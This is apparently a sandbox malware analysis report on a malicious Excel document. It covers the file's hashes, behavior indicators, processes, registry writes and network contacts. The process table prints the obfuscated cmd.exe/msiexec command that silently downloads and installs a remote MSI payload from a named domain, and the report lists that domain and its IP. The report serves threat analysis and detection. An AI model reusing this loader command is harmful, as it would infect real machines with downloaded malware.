| File name: | sp1.xls |
| Full analysis: | https://app.any.run/tasks/0725593c-2068-4446-bc7d-627167cc1c3a |
| Verdict: | Malicious activity |
| Analysis date: | April 28, 2021, 15:42:52 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.ms-excel |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: HP, Last Saved By: HP, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Apr 28 10:51:15 2021, Last Saved Time/Date: Wed Apr 28 10:51:17 2021, Security: 0 |
| MD5: | BDC0C7D382181B01E490F6D265C4FF18 |
| SHA1: | 9C1158A9E0AF62C974E00A8F51981554848A19B6 |
| SHA256: | B73A2B13C7E0A63948B9B6861214EF3BA647D3AC83152DF4E3E9BBE9EEEA1E5F |
| SSDEEP: | 768:Mck3hOdsylKlgryzc4bNhZFGzE+cL2knAJ0OiCgBVvz7yCMLo7XoUpVQI:rk3hOdsylKlgryzc4bNhZFGzE+cL2knJ |
MALICIOUS
Starts CMD.EXE for commands execution
- EXCEL.EXE (PID: 3240)
Unusual execution from Microsoft Office
- EXCEL.EXE (PID: 3240)
Uses Microsoft Installer as loader
- cmd.exe (PID: 4028)
SUSPICIOUS
No suspicious indicators.INFO
Creates files in the user directory
- EXCEL.EXE (PID: 3240)
Manual execution by user
- EXCEL.EXE (PID: 3240)
Reads Microsoft Office registry keys
- EXCEL.EXE (PID: 3524)
- EXCEL.EXE (PID: 3240)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .xls | | | Microsoft Excel sheet (48) |
|---|---|---|
| .xls | | | Microsoft Excel sheet (alternate) (39.2) |
EXIF
FlashPix
| CompObjUserType: | Microsoft Excel 2003 Worksheet |
|---|---|
| CompObjUserTypeLen: | 31 |
| HeadingPairs: |
|
| TitleOfParts: | Sheet1 |
| HyperlinksChanged: | No |
| SharedDoc: | No |
| LinksUpToDate: | No |
| ScaleCrop: | No |
| AppVersion: | 15 |
| Company: | gh |
| CodePage: | Windows Latin 1 (Western European) |
| Security: | None |
| ModifyDate: | 2021:04:28 09:51:17 |
| CreateDate: | 2021:04:28 09:51:15 |
| Software: | Microsoft Excel |
| LastModifiedBy: | HP |
| Author: | HP |
Total processes
45
Monitored processes
5
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 448 | mSiExec /i http://arcencieldeco.com.tn/admin/45012.msi /qn | C:\Windows\system32\msiexec.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 1619 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2056 | C:\Windows\system32\msiexec.exe /V | C:\Windows\system32\msiexec.exe | services.exe | ||||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3240 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3524 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 4028 | "C:\Windows\System32\cmd.exe" /C m^SiE^x^e^c /i http://arcencieldeco.com.tn/admin/45012.msi /qn | C:\Windows\System32\cmd.exe | — | EXCEL.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1619 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
1 041
Read events
952
Write events
73
Delete events
16
Modification events
| (PID) Process: | (3524) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | write | Name: | tk2 |
Value: 746B3200C40D0000010000000000000000000000 | |||
| (PID) Process: | (3524) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (3524) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (3524) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (3524) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (3524) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (3524) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (3524) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (3524) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (3524) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1042 |
Value: Off | |||
Executable files
0
Suspicious files
0
Text files
2
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3524 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR8365.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3240 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVRED74.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3240 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\sp1.xls.LNK | lnk | |
MD5:— | SHA256:— | |||
| 3240 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
1
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2056 | msiexec.exe | GET | — | 5.135.143.133:80 | http://arcencieldeco.com.tn/admin/45012.msi | FR | — | — | suspicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2056 | msiexec.exe | 5.135.143.133:80 | arcencieldeco.com.tn | OVH SAS | FR | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
arcencieldeco.com.tn |
| suspicious |
Threats
1 ETPRO signatures available at the full report